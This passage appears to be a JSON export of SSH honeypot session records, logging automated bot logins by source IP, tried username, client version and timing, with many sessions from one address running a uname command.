  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T07:01:18.257095+00:00",
  "ended_at": "2026-08-26T07:01:21.127452+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3cf09e70-7065-433b-8ac9-e5ef17714ae5",
  "name": "muted-dusty-zebu",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "130.12.182.107",
  "src_port": 15992,
  "username": "ubnt",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T07:01:09.326244+00:00",
  "ended_at": "2026-08-26T07:01:09.905648+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0d3890a9-c32d-4463-ab70-2f5a16a4701a",
  "name": "hushed-downy-jackal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "121.185.89.74",
  "src_port": 48482,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh2_1.11.2_DEV",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T06:58:10.027555+00:00",
  "ended_at": "2026-08-26T06:58:11.467241+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bd182395-edd7-4339-883b-eb0067e3b4af",
  "name": "twilight-blithe-elk",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 59279,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T06:57:10.910428+00:00",
  "ended_at": "2026-08-26T06:57:51.251969+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f75837f8-6a23-4eab-9461-1705c06e82e9",
  "name": "granite-spirited-rook",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "14.46.58.104",
  "src_port": 39650,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh2_1.11.2_DEV",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T06:56:28.660170+00:00",
  "ended_at": "2026-08-26T06:56:29.979344+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b158c414-8759-4156-90f3-1ff7600a4c7c",
  "name": "hazy-tidal-bobcat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "185.242.3.121",
  "src_port": 52824,
  "username": "ahmed",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T06:55:25.771540+00:00",
  "ended_at": "2026-08-26T06:55:26.726693+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f4063e03-9749-4ac7-ba66-d0ce38e40921",
  "name": "grumpy-lonesome-mink",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 58383,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T06:53:04.191760+00:00",
  "ended_at": "2026-08-26T06:53:06.800678+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c05459e0-717b-4e41-8384-24b9ac774eff",
  "name": "chilly-coastal-sloth",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "175.206.113.91",
  "src_port": 60402,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh2_1.11.2_DEV",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T06:48:35.833121+00:00",
  "ended_at": "2026-08-26T06:48:37.319573+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6ec6a40d-09c8-460a-b08a-650911723df4",
  "name": "jaunty-brisk-stonechat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 39600,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 164,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:48:26.521567+00:00",
  "ended_at": "2026-08-26T06:48:30.010242+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8fdfef39-d58a-4929-83fb-ab13a4b1c32c",
  "name": "stormy-tawny-bobcat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 49774,
  "username": "oracle",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 164,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:48:17.965479+00:00",
  "ended_at": "2026-08-26T06:48:21.807026+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "bd6377cb-6e52-414f-90ba-677f9cef77ec",
  "name": "primal-grumpy-chickadee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 60016,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 163,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:48:11.721000+00:00",
  "ended_at": "2026-08-26T06:48:17.678036+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "80ab24e8-1c52-4cfa-a1ae-4061f521a37a",
  "name": "fierce-blazing-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 49698,
  "username": "teamspeak",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 163,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:48:10.924693+00:00",
  "ended_at": "2026-08-26T06:48:15.746401+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a96ee299-983d-4a96-845d-5f441e14c734",
  "name": "burly-stormy-kingfisher",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 59946,
  "username": "deploy",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 166,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:48:00.060936+00:00",
  "ended_at": "2026-08-26T06:48:03.003616+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2041fcb8-dfce-44c3-b6a7-15e39a8ce04c",
  "name": "gallant-stoic-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 35650,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 167,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:47:59.442063+00:00",
  "ended_at": "2026-08-26T06:48:03.429695+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0deff63a-be22-4e89-a62a-a9ca0b60d086",
  "name": "brazen-opal-nightjar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 35590,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 169,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:47:53.178166+00:00",
  "ended_at": "2026-08-26T06:47:58.539686+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "df51b444-0520-478a-943f-ac857d889691",
  "name": "austere-downy-pika",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 55176,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 168,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:47:51.147723+00:00",
  "ended_at": "2026-08-26T06:47:53.883537+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "0cbc4748-e578-4e5e-ae52-2f26d80c09bf",
  "name": "thorny-twilight-addax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 48870,
  "username": "claude",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 183,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:47:43.590603+00:00",
  "ended_at": "2026-08-26T06:47:49.602152+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "406a81ad-c681-46a9-b310-776f14f7a599",
  "name": "golden-shaded-hamster",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.200",
  "src_port": 39634,
  "username": "super",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T06:47:39.716672+00:00",
  "ended_at": "2026-08-26T06:47:40.979065+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e7f028fb-d911-408f-b135-ad3ba4ac0643",
  "name": "gnarled-bold-vervet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 48856,
  "username": "test",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 177,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:47:36.803212+00:00",
  "ended_at": "2026-08-26T06:47:40.456165+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b5373f5a-80ec-46d2-a6c6-33387e5e4be7",
  "name": "blithe-drifting-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 49760,
  "username": "super",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 189,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:47:35.373633+00:00",
  "ended_at": "2026-08-26T06:47:40.980777+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "20835cb7-da7e-4ff7-92a3-f5bdb17d247a",
  "name": "daring-curious-porcupine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 37116,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 192,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:47:26.530942+00:00",
  "ended_at": "2026-08-26T06:47:31.531967+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f6228185-67b0-4938-94c3-1c96d564f328",
  "name": "dusty-burly-armadillo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 49746,
  "username": "test",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 206,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:47:14.144254+00:00",
  "ended_at": "2026-08-26T06:47:19.295797+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "d53b4a93-3f8d-4911-928b-68c1c3efbb75",
  "name": "tender-glassy-dormouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 52232,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 198,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:47:07.130840+00:00",
  "ended_at": "2026-08-26T06:47:09.804900+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8be9bdd6-cacd-4b38-9f51-5e591ff5b96c",
  "name": "umber-jaunty-pelican",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 52200,
  "username": "web",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 183,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:47:02.371749+00:00",
  "ended_at": "2026-08-26T06:47:06.551721+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5c05de51-6b15-48cc-8249-018cd07b02a7",
  "name": "electric-honest-kakapo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 35996,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 212,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:47:00.684406+00:00",
  "ended_at": "2026-08-26T06:47:05.996090+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1edd7c13-d9f4-4fd3-9a66-96651bf17757",
  "name": "kindly-golden-bowerbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 35938,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 190,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:46:52.760008+00:00",
  "ended_at": "2026-08-26T06:46:56.944598+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "fc651ed9-2e1f-43af-b805-cab7a9d7cbec",
  "name": "daring-jagged-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 37756,
  "username": "claude",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 177,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:46:47.060696+00:00",
  "ended_at": "2026-08-26T06:46:51.819164+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "c2d347eb-ce22-4336-a459-65ab3e22de5b",
  "name": "mindful-supple-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 36434,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 184,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:46:44.361090+00:00",
  "ended_at": "2026-08-26T06:46:47.770389+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "36bcbf1c-1824-4011-b18b-22fbed225ca7",
  "name": "pristine-sterling-chough",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.200",
  "src_port": 37160,
  "username": "demo",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T06:46:41.436207+00:00",
  "ended_at": "2026-08-26T06:46:43.169243+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "40855d11-f814-44a7-ba9e-3b335f20f3c4",
  "name": "deft-serene-agouti",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 36360,
  "username": "elastic",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 185,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:46:40.793071+00:00",
  "ended_at": "2026-08-26T06:46:44.353666+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "1a5ad9d1-c38b-4879-a976-14258a74a607",
  "name": "placid-calm-caribou",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 44616,
  "username": "demo",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 205,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:46:37.815171+00:00",
  "ended_at": "2026-08-26T06:46:43.170390+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "aa8ca13f-1674-4a4a-acf3-0c2202a2f9a9",
  "name": "plucky-upland-hare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.200",
  "src_port": 49762,
  "username": "jay",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T06:46:31.677132+00:00",
  "ended_at": "2026-08-26T06:46:33.354962+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a430512f-b459-497e-9125-068563996148",
  "name": "lunar-humble-wheatear",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 58186,
  "username": "jay",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 182,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:46:25.431717+00:00",
  "ended_at": "2026-08-26T06:46:33.355876+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1656
 },
 {
  "id": "a0190369-ccc7-4190-a9b0-5e0e59da4863",
  "name": "idle-quartz-ibex",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 44668,
  "username": "minecraft",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 176,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:46:25.129022+00:00",
  "ended_at": "2026-08-26T06:46:28.612249+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b51c8022-5d8d-4aad-8d78-09db71c3df6b",
  "name": "lofty-painted-kiwi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 41006,
  "username": "administrator",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 184,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:46:22.494840+00:00",
  "ended_at": "2026-08-26T06:46:27.149019+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "7724f35f-ca82-40f7-8983-678499f7e1c0",
  "name": "bashful-woven-waxwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 58126,
  "username": "ghost",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 176,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:46:17.521664+00:00",
  "ended_at": "2026-08-26T06:46:23.025429+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1658
 },
 {
  "id": "e3ddf27a-180f-4b4d-bcbd-19efbd923440",
  "name": "lonesome-hushed-opossum",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 40950,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 183,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:46:14.624011+00:00",
  "ended_at": "2026-08-26T06:46:18.188995+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "6fc45d82-d198-4bfe-a284-4e9f4f177b79",
  "name": "prairie-sandy-lapwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 43760,
  "username": "frappe",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 188,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:46:03.203728+00:00",
  "ended_at": "2026-08-26T06:46:07.765071+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ff0a98f6-8923-4978-9129-7de7505ec3fa",
  "name": "brazen-solar-swallow",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 43732,
  "username": "git",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 178,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:45:56.281321+00:00",
  "ended_at": "2026-08-26T06:46:01.842139+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "18cdf4d0-0ec8-436f-aba6-d9b86d0ff09d",
  "name": "lofty-ginger-oxpecker",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.200",
  "src_port": 37718,
  "username": "kubernetes",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T06:45:56.106593+00:00",
  "ended_at": "2026-08-26T06:45:57.376951+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f9ae754f-6543-4b64-a67a-c7cdeedc30ff",
  "name": "crisp-dappled-crossbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 54832,
  "username": "kubernetes",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 189,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:45:50.767512+00:00",
  "ended_at": "2026-08-26T06:45:57.376050+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1663
 },
 {
  "id": "f15ec24a-16a3-47cd-b7b2-341f03677326",
  "name": "grumpy-ivory-moorhen",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 54932,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 302,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:45:45.907359+00:00",
  "ended_at": "2026-08-26T06:45:51.291242+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5438c2d7-0acb-4d84-8efb-d30d37978042",
  "name": "lofty-scarlet-barbet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.200",
  "src_port": 44646,
  "username": "init",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T06:45:41.387125+00:00",
  "ended_at": "2026-08-26T06:45:43.628839+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9a6855f5-2d29-416a-9821-fdf13ba1cfaf",
  "name": "mindful-vigilant-rook",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 53172,
  "username": "init",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 208,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:45:36.090596+00:00",
  "ended_at": "2026-08-26T06:45:43.626817+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "2fb5310b-8f69-4a83-98a5-caf88dfd3fba",
  "name": "nautical-tangled-loris",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 39388,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 184,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:45:29.892534+00:00",
  "ended_at": "2026-08-26T06:45:35.298749+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3867e40e-0d1a-4479-8337-9bae16140d82",
  "name": "mindful-velvet-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 39330,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 181,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:45:27.642555+00:00",
  "ended_at": "2026-08-26T06:45:30.437128+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "cde63628-65fb-401a-aa9e-d9b03d709611",
  "name": "bashful-pewter-whimbrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.40.200",
  "src_port": 58166,
  "username": "test3",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T06:45:19.668436+00:00",
  "ended_at": "2026-08-26T06:45:21.479259+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "74c6824b-d0d4-4f19-82f0-6e8da70674c5",
  "name": "velvet-quiet-finch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 53146,
  "username": "deployer",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 187,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:45:15.697480+00:00",
  "ended_at": "2026-08-26T06:45:21.652768+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "8539d9ec-0df8-4887-8f27-f74f4088d6d5",
  "name": "vernal-hazy-guanaco",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 50898,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 191,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:45:14.947019+00:00",
  "ended_at": "2026-08-26T06:45:19.715203+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "09bebbe7-0250-4958-886f-37c8e0fba0f1",
  "name": "stoic-lofty-goldcrest",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 41750,
  "username": "test3",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 238,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T06:45:14.380333+00:00",
  "ended_at": "2026-08-26T06:45:21.489442+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1654
 },
 {
  "id": "75b6e413-cd60-4767-ab8e-571be79a82c5",
  "name": "spirited-humble-boar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.92.40.200",
  "src_port": 50848,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 178,
  "probe_flagged": 0,
